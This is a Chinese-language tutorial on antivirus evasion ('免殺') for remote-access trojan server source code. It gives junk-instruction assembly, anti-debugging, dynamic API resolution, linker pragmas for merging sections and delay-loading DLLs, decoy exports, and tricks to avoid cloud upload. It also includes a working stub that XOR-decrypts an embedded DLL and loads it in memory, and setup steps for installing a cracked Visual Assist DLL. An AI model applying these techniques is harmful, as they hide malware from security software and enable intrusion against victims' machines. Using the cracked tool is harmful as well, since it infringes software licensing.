源碼免殺1.0


文件預處//Server.cpp頭部要加的代碼:

//自定義鏈接庫
  //優化代碼
  //合並區段代碼
  //延時加載代碼
//修改優化模式(鏈接)

//免殺前的預處理:
//1.刪除資源代碼(Server.rc)
//2.更改明顯字符串
//3.加入大量花指令
//Server.cpp   winman函數"{}"里面第一句加反調試代碼

 

 

 

 

代碼被殺出

花指令

/*       //花指令

1.

__asm
{
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je END

END:
pop eax
}

2.

mov edx,edx
mov ecx,ecx
push eax
pop eax

3.

nop
nop
nop
push eax
jmp MY
MY:
pop eax  

*/



__asm nop; //nop指令 __asm nop; __asm nop; __asm nop; __asm{ nop; push eax; pop eax; inc eax; inc eax; add eax,1; sub eax,1 } // 花指令

Sleep(0); //延時0秒

try catch       //代碼tcy變異

加資源過雲

 

2 字符串隱藏  字符串連接

3 輸入表的免殺方法: 動態調用

//API函數動態調用的模型

/*定義

typedef 第一行 (第二行 *需要替換的函數T)

 (
    替換完后
    剩下的
    代碼位置
  );
需要替換的函數T p需要替換的函數= (需要替換的函數T)GetProcAddress(LoadLibrary("函數的所在DLL"),"需要替換的函數");

*/

 4  自定義函數入口(處理雲)

1. 
//雲定位在入口位置(本地處理后)
#pragma
comment(linker,"/ENTRY:EntryPoint(函數)") //自定義函數入口
BOOL EntryPoint(函數)() //原代碼: int winman函數
//代碼結束處加 return 0;

2.
//變異改變入口點
 // 入口點設置的自定義函數名
 // stdafx.h 里面導入lib庫文件
 // int 入口點設置的自定義函數名 ()




//雲主要殺動態加載函數  花指令和資源

      QVM 或者雲 

//QVM   或者雲  

   //資源
   //編譯時的設置
   //合並區段代碼的改變


//加大文件,或者加內存加載,白加黑,運行增大,防上傳代碼,添加MFC

//NOP 入口點再定位

//關於雲鑒定
    1.校驗和不要重復(不過的情況)
    2.>64M的文件不上報(自解壓+vbs批處理)

 

 

5 源碼定位

通常殺在功能的cpp文件                   //源碼定位Buffer.cpp  Clientsoket.pp   Audlo.cpp

#pragna code_seg("claidx")     //把這個cpp的代碼放到claidx這個區段面(代碼放在cpp頭部,主要過BD)

 

 

 

 

 

 

 

vc刪除臨時文件.bat



@echo off
echo ----------------------------------------------------
echo Press any key to delete all files with ending:
echo  *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr
echo Visual c++/.Net junk 
echo ----------------------------------------------------

del /F /Q /S *.aps *.idb *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.res *.ncb *.opt *.suo *.dep

 

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")

#pragma comment(linker,"/ALING:512")
#pragma comment(linker,"/FILEALIGN:512")
#pragma comment(linker,"/opt:nowin98")
#pragma comment(linker,"/opt:ref")
#pragma comment(linker,"/OPT:ICF")

 

//合並區段代碼  .ccp文件
//#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
//把.rdata、.data合並到.text區段里去,/section:.text,ERW"這個是設置區段的讀寫權限
#pragma code_seg("區段名") //添加區段 // 合並區段 #pragma comment(linker, "/MERGE:.rdata=.data")//把rdata區段合並到data區段里 #pragma comment(linker, "/MERGE:.text=.data")//把text區段合並到data區段里 #pragma comment(linker, "/MERGE:.reloc=.data")//把reloc區段合並到data區段里


//優化代碼
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker, "/opt:nowin98")

#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")



 

 

小紅傘

 1. 延遲加載(定位到xxx.dll就延遲加載xxx.dll)

#pragma comment(lib,"DELAYIMP.lib")
#pragma comment(linker,"/DELAYLOAD:ws2_32.dll") //延遲的dll
#pragma comment(linker,"/DELAYLOAD:ADVAPI32.DLL")
#pragma comment(linker,"/DELAY:nobind")
#pragma comment(linker,"/DELAY:unload")

 

 

//延時加載函數
#pragma comment(lib, "DELAYIMP.LIB")
#pragma comment(linker, "/DELAYLOAD:WININET.dll")
#pragma comment(linker, "/DELAYLOAD:WS2_32.dll")
#pragma comment(linker, "/DELAYLOAD:PSAPI.DLL")
#pragma comment(linker, "/DELAYLOAD:GDI32.dll")
#pragma comment(linker, "/DELAYLOAD:ADVAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:SHELL32.dll")
#pragma comment(linker, "/DELAYLOAD:WINMM.dll")
#pragma comment(linker, "/DELAYLOAD:USER32.dll")
#pragma comment(linker, "/DELAYLOAD:WTSAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:AVICAP32.dll")
#pragma comment(linker, "/DELAYLOAD:SHLWAPI.dll")
#pragma comment(linker, "/DELAYLOAD:IMM32.dll")
#pragma comment(linker, "/DELAYLOAD:urlmon.dll")
#pragma comment(linker, "/DELAYLOAD:OLEAUT32.dll")
#pragma comment(linker, "/DELAYLOAD:ole32.dll")
#pragma comment(linker, "/DELAYLOAD:NETAPI32.dll")
#pragma comment(linker, "/DELAY:nobind")
#pragma comment(linker, "/DELAY:unload")


//然后添加一些迷惑殺毒軟件的輸出表函數
extern "C" __declspec(dllexport) bool heiyuxhj();
extern "C" __declspec(dllexport) bool space()
{
return false;
}


2. 定位到xxx.dll中的函數
直接動態調用
3. 定位到“xxx.dll” 這個名上
                 可以延遲加載

             也可用lordpe查看該DLL中的函數
 4.隱藏msvcrt
v3 最小 MT 去掉ms的lib

5.打亂源碼順序

 任意遠控16進制轉換快速免殺、

新建一個工程
****************************************************************************
#include "junction.h"
extern "C" __declspec(dllexport)void FangSi()
{
}

/dll /incremental:no /pdb:


#include "MemLoadDll.h"
#include "c_ball.h"
HINSTANCE hInstance = NULL;
void EncryptData(unsigned char *szRec, unsigned long nLen, unsigned long key)//解密
{
    _asm nop;
    unsigned long i;
    unsigned char p;
    _asm nop;
    p = (unsigned char ) key % 254 +8;
    
    for(i = 0; i < nLen; i+=2) 
    {
        
        *szRec ^= p;
        *szRec += p;
        szRec++;
        
    }
    
    
}
typedef int (WINAPI *PFN_POPMSGBOX)(void);
DWORD MainFunc(char*Name)
{
    HRSRC hResInfo;
    HGLOBAL hResData;
    DWORD dwSize;
    PVOID DllResourceModule=NULL;
    HMEMORYMODULE hDll;
    PFN_POPMSGBOX pfn;
    
    EncryptData((unsigned char *)BallMyFileBuf,BallMyFileSize,3800);                
    hDll=MemoryLoadLibrary(BallMyFileBuf);
    if (hDll==NULL)
        return -1 ;
    pfn=MemoryGetProcAddress(hDll,Name);
    if (pfn==NULL)
    {
        MemoryFreeLibrary(hDll);
        return -1;
    }
    pfn();
    if (hDll!=NULL)
    {
        MemoryFreeLibrary(hDll);
        hDll=NULL;
    }
    
    return 0;
}

char Ribi[]={'F','a','n','g','S','i','\0'};
MainFunc(Ribi);
        return 0;
*************************************
以上是工程代碼

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

環境搭建


SDK更新包

復制Include/Lib這兩個文件夾,粘貼到VC98目錄下

下載地址:http://pan.baidu.com/s/1midjZYg 密碼:7x57

xtp

復制Lib/VC60/TOOL頭文件下的全部文件,粘貼到VC98/LIB目錄下

復制Source下的全部文件,粘貼到VC98/ATL/Include目錄下

下載地址:http://pan.baidu.com/s/1qXT83b2 密碼:yukk

VC助手

運行VA_X_Setup1715.exe進行安裝(該文件是從官方網站直接下載的,可以放心安裝)

安裝完成后將破解文件VA_X.dll復制至安裝文件夾,覆蓋同名文件即可

下載地址:http://pan.baidu.com/s/1eSHrNf8 密碼:vd6q

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM